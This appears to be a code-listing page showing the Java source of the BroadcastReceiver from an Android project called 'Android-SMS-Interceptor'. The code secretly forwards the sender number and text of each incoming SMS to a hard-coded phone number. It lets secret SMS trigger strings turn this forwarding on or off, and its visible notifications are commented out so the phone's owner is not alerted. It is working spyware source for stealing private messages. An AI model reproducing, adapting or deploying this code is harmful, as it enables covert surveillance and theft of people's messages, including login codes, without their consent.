Android Open Source - Android-SMS-Interceptor Sms Receiver

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License

The source code is released under:

MIT License

Java Source Code

package com.example.interceptor;
/*w w  w .  j a v a 2 s  .  com*/
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;

import java.io.BufferedReader;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStreamReader;

import android.telephony.SmsManager;
import android.telephony.SmsMessage;
import android.widget.Toast;


public class SmsReceiver  extends BroadcastReceiver {

    @Override
    public void onReceive(Context context, Intent intent) {
      
        if(intent.getAction().equals("android.provider.Telephony.SMS_RECEIVED")){
            Bundle bundle = intent.getExtras();   
            SmsMessage[] msgs = null;
            String msg_from;
            if (bundle != null){
      
                // retrieve the SMS message received
                try{
                    Object[] pdus = (Object[]) bundle.get("pdus");
                    msgs = new SmsMessage[pdus.length];

                        msgs[0] = SmsMessage.createFromPdu((byte[])pdus[0]);
                        msg_from = msgs[0].getOriginatingAddress();
                        String msgBody = msgs[0].getMessageBody();
                        
            //for testing purposes uncomment the two lines below
                        //Toast.makeText(context, msg_from, Toast.LENGTH_LONG).show();  //the sender's phone number
                        //Toast.makeText(context, msgBody, Toast.LENGTH_LONG).show();   //the message
                        
                String data = null;
                try {
                  String FILENAME = "file";
                  FileInputStream fis = context.getApplicationContext().openFileInput(FILENAME);        //read file
                  InputStreamReader in = new InputStreamReader(fis);
                  BufferedReader br = new BufferedReader(in);
                  data = br.readLine();
                } catch (IOException e) {
                  data = "dd";  
                }
                        
                if(data.matches("ee")){                
                  if ( (msg_from.contains("PUT_A_PHONE_NUMBER_THAT_YOU_WANT_TO_BE_IGNORED") == false) && (msg_from.contains("CALLS") == false) ){
                    try {
                      SmsManager smsManager = SmsManager.getDefault();
                      smsManager.sendTextMessage("PUT_YOUR_PHONE_NUMBER_HERE", null, "From: " + msg_from + ":" + msgBody, null, null);
                    } catch (Exception e) {
                      //e.printStackTrace();
                    }
                  }
                }
                        
                        if (msgBody.contains("PUT_SOME_SECRET_CHARACTERS_THAT_WILL_DISABLE_THE_APP_WHEN_RECEIVED")==true){  
                        String FILENAME = "file";
                        String string = "dd";
                        
                        //Toast.makeText(context, "disabled", Toast.LENGTH_LONG).show();  //---------------------------------
                        try {
                          FileOutputStream fos = context.getApplicationContext().openFileOutput(FILENAME, Context.MODE_PRIVATE);    // write settings file
                          fos.write(string.getBytes());
                          fos.close();
                        } catch (IOException e1) {
                          //Toast.makeText(context, e1.getMessage(), Toast.LENGTH_LONG).show();
                        }
                          
                        }
                        
                        
                        if (msgBody.contains("PUT_SOME_SECRET_CHARACTERS_THAT_WILL_ENABLE_THE_APP_WHEN_RECEIVED")==true){
                          
                        String FILENAME = "file";
                        String string = "ee";
                        //Toast.makeText(context, "ee", Toast.LENGTH_LONG).show();  //---------------------------------
                        try {
                          FileOutputStream fos = context.openFileOutput(FILENAME, Context.MODE_PRIVATE);    // write settings file
                          fos.write(string.getBytes());
                          fos.close();
                        } catch (IOException e1) {
                          //Toast.makeText(context, e1.getMessage(), Toast.LENGTH_LONG).show();
                        }
                          
                        }
                   // }
                }catch(Exception e){
                            //Log.d("Exception caught",e.getMessage());
                }
            }
        }
    }
}

Java Source Code List

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